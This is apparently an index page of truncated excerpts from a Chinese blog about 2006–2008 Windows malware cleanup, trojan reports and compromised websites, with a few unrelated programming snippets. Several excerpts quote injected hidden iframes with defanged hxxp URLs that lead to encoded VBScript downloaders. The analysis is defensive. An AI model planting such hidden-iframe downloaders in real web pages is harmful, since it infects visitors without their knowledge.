其他

fontsapcum.dll,aaudstum.sys,HBKernel.sys,Hev32_c.sys,Windows64.Sys等2endurer 原創2008-07-26 第1版從pe_xscan 的 log 中，我們可以看到惡意程式對IME管理程式ctfmon.exe進行了映像劫持，即： O26 - IFEO: ctfmon.exe ->

endurer 原創2007-01-24 第1版該網站首頁中部被加入代碼：/-------＜iframe height=0 width=0 src="hxxp://www.g*ao**ju*n8***8*8.com/5**"＞＜/iframe＞-------/hxxp://www.g*ao**ju*n8***8*8.com/5**   的內容包含用escape()加密的VBScript代碼，功能是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<; 檔案名稱: rar_path.asm; 功　能: 擷取並顯示WinRAR的路徑

一、版本更新版本　　　　　　日期　　　　說明0.0.0001 beta3  2007-07-05　1、更換了嘗試以SYSTEM帳戶啟動並執行方法；2、支援檔案拖放；3、增加視窗置頂選項檔案說明符 : F:/masm32/works/FreeDLL/8.exe屬性 : A---語言 : 中文(中國)檔案版本 : 0.0.0001 beta3說明 : FreeDLL著作權 : PurpleEndurer備忘 : 產品版本 : 0.0.0001 beta3產品名稱 : FreeDLL公司名稱 :

endurer 原創2007-06-27

遭遇 h.sys,GuiHelp.sys,iesuper.dll,jfrwdh.dll,pedadt.dll等endurer 原創2008-07-29 第1版一位網友說的他的電腦最近經常自動重啟，開機後360衛士就不斷有警報提示。請偶協助檢修。用 pe_xscan 掃描 log 並分析，發現如下可疑項：pe_xscan 08-07-02 by Purple Endurer2008-7-24 22:41:51Windows XP Service Pack 2(5.1.2600)MSIE:6.0.2

endurer 原創2007-06-30 第1版一位網友的電腦接入移動硬碟後，瑞星即時監控表徵圖消失，並彈出3個命令列程式視窗，內容為：/---ntsd: bad pid '0'ntsd: exiting - press enter --- ---/估計是移動硬碟中有病毒。請偶通過QQ遠程協助。下載 pe_xscan 掃描 log，發現如下可疑項（省略了一部分進程）：/===pe_xscan 07-06-23 by Purple Endurer2000-10-18 8:55:52Windows

遭遇PSW.Win32.WoWar,Trojan.Win32.MnLess,Trojan.IMMSG.Win32.TBMSG等endurer 原創2007-07-09 第1版一位網友說他的電腦中瑞星經常提示發現病毒，讓偶通過QQ幫他遠程協助。檢查瑞星的記錄，匯出一段：/---病毒名稱  處理結果    掃描方式  路徑 檔案Trojan.PSW.Win32.WoWar.sb  刪除成功    檔案監控    c:/documents and settings/user/local

endurer 原創2006-11-21 第1版QQ收到如下資訊：/-----------寶貝喊！本室網址：hxxp://www.h*z**uptown.com/ui.asp＄y=3 遊客們速度拉滿 300人激情不斷，讓大家都享受一下異性誘惑的感覺!,不來你會後悔的哦~ -----------/開啟hxxp://www.h*z**uptown.com/ui.asp＄y=3，網頁標題為：偷情語音視訊交談室---建議登陸使用者使用顯示屏解析度（1024*768）為最佳。網頁末包含代碼：/------

endurer 原創2006-12-10 第1版一位網友的電腦最近工作比較慢，讓偶幫忙檢修看看。到 http://endurer.ys168.com 下載 HijackThis 和 ProcView。先用 HijackThis 掃描 log，發現以下可疑項： /-------Logfile of HijackThis v1.99.1Platform: Windows XP SP2 (WinNT 5.01.2600)MSIE: Internet Explorer v6.00 SP2 (6.00.2

http://news.csdn.net/news/newstopic/28/28080.shtml來自：程式員（五）一些經驗和體會1、真正的程式員用C++；（一位專家說的）2、動手去編程式；3、動腦去思考；4、要有良好的編程風格；5、讀書，讀好書，盡量讀原版書！（我反覆強調這一點，讀書要有選擇，堅持讀好書，名家出的經典書，不要浪費實踐在一些粗製濫造的書上面；堅持博覽群書）6、有自己的學習計劃；7、總結自己的經驗教訓；（準備一個筆記本，記錄錯誤和心得）8、不要怕學新東西；9、要有軟體工程的思想；

endurer 原創2006-11-22 第1版該網站首頁首部被加入代碼：/-----------＜IFRAME src="hxxp://58***000.128**.to***for.com/x***skj.htm width=0 height=0＞＜/IFRAME＞-----------/x***skj.htm  的內容為escape()加密的VBScript代碼，功能為：利用 Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下載檔案

endurer 原創2007-01-17 第1版QQ收到如下資訊：/-------給你一個免費看黃金甲的地址 www.17****wish.com.**/h**jj*.htm，不卡還清晰。 -------/h**jj*.htm 中包含代碼：/-------＜iframe height="0" width="0" src="hxxp://www.hao***soft.net/down**mm/index1**.htm"＞＜/iframe＞-------/index1**.htm

Spyware and Virus Cleaning Tutorial. Any any Ideas what to add? 間諜軟體和病毒清除教程，有什麼要補充的嗎？Tags: windows, security, software標籤: 視窗, 安全,

endurer　原創2006-08-10　第1版剛才一位網友的電腦開機時，瑞星開機掃描發現病毒：Trojan.PSW.ZhengTu.dm、Trojan.PSW.LMir.atb，接著瑞星監控小傘變紅，無法開啟所有監控。請我幫忙看看。檢查瑞星歷史記錄：----------------C:/TCNEWTCNEW.DLL Trojan.PSW.ZhengTu.dmC:/DOCUME~1/abc/LOCALS~1/TempWin3.exe Trojan.PSW.LMir.atbC:/DOCUME~1/

endurer　原創2006-08-01　第1版一個網友的電腦中了QQ尾巴，開啟QQ好友的對話方塊就會自動發出如下資訊：---------------------------------麻煩幫我朋友投個票啦!她正在競選QQ小姐,參選Q-Zone空間上有她近照,點擊為她增加人氣,先謝謝嘍……hxxp://Q-Zone.****qq.C0M.%62%30%76%2E%63%6E/cgi-bin/Photo=No.****947561--------------------------------- 

endurer　原創2006-07-20　第3版　補充江民KV的反應2006-07-19　第2版　補充Kaspersky的反應2006-07-18　第1版hxxp://www.china***huati.com首頁被加入：   --------------------------------＜iframe src=hxxp://bbs.**gemeus*.com/q17***/index.htm width=0 height=0＞＜/iframe＞……＜iframe height=0

endurer 原創2007-07-04 第1版有一位網友的電腦使用的是Win XP，不小心安裝了微軟正版增值計劃更新程式，現在工作列右下角出現了一個藍色五角星符號，感覺不爽，讓偶協助弄掉。這個偶以前用HijackThis輕鬆解決過，輕車熟路，開啟 http://endurer.ys168.com，順手 下載了排在最上面的 HijackThis 2.0.0.0 Beta，解壓運行，掃描，暈！沒列出一定的O20項！/---O20 - Winlogon Notify: WgaLogon -

endurer 原創2006-08-22 第1版windowout.exe （133,126 位元組）是  木馬MicrosoftSQL.exe(Trojan.DL.VB.cap/Win32.VB.ajb)  下載的檔案之一，它會 釋放/下載檔案：msinet.ocx（116,736 位元組）setup_01.exe（瑞星報為 Trojan.DL.QQHelper.eo）outme.exe（91,936 位元組）outwindow.exe（57,344 位元組）並複製到

小心傳播Trojan-GameThief.Win32.OnLineGames.smoh的電子郵件 endurer 原創2008-08-01 第1版 郵件主題：拜託大家羅 附 件：~拜託大家羅~.arj 檔案說明符 : E:/test/~拜託大家羅~.arj屬性 : A---數位簽章:否PE檔案:否建立時間 : 2008-8-1 23:16:26修改時間 : 2008-8-1 23:16:28大小 : 126200 位元組 123.248 KBMD5 : f641e1816c5fac94a0f67